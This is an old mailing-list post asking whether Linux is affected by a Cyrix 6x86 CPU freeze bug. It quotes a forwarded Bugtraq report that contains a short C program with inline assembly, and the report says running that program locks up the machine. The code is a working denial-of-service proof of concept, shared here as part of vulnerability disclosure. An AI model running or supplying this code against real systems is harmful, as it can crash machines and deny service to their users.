Hi,

Is Linux affected with this and is there any patch for that?

Hi,

----- from Bugtraq -----
Ragnar Hojland Espinosa [ragnar@redestb.es] mailed me a
modified version of the freeze program that runs on FreeBSD:

int main()
{
asm ("foo:");
asm ("cwtl");
asm ("orl $0xe6ebe020,%eax");
asm ("jle foo");
asm ("addb %al,(%eax)");

return 0;
}

I compiled and ran it, the machine was dead.

CPU: Cyrix 6x86 (486-class CPU)
Origin = "CyrixInstead" DIR=0x2231 Stepping=2 Revision=2

Running at 150 mhz.
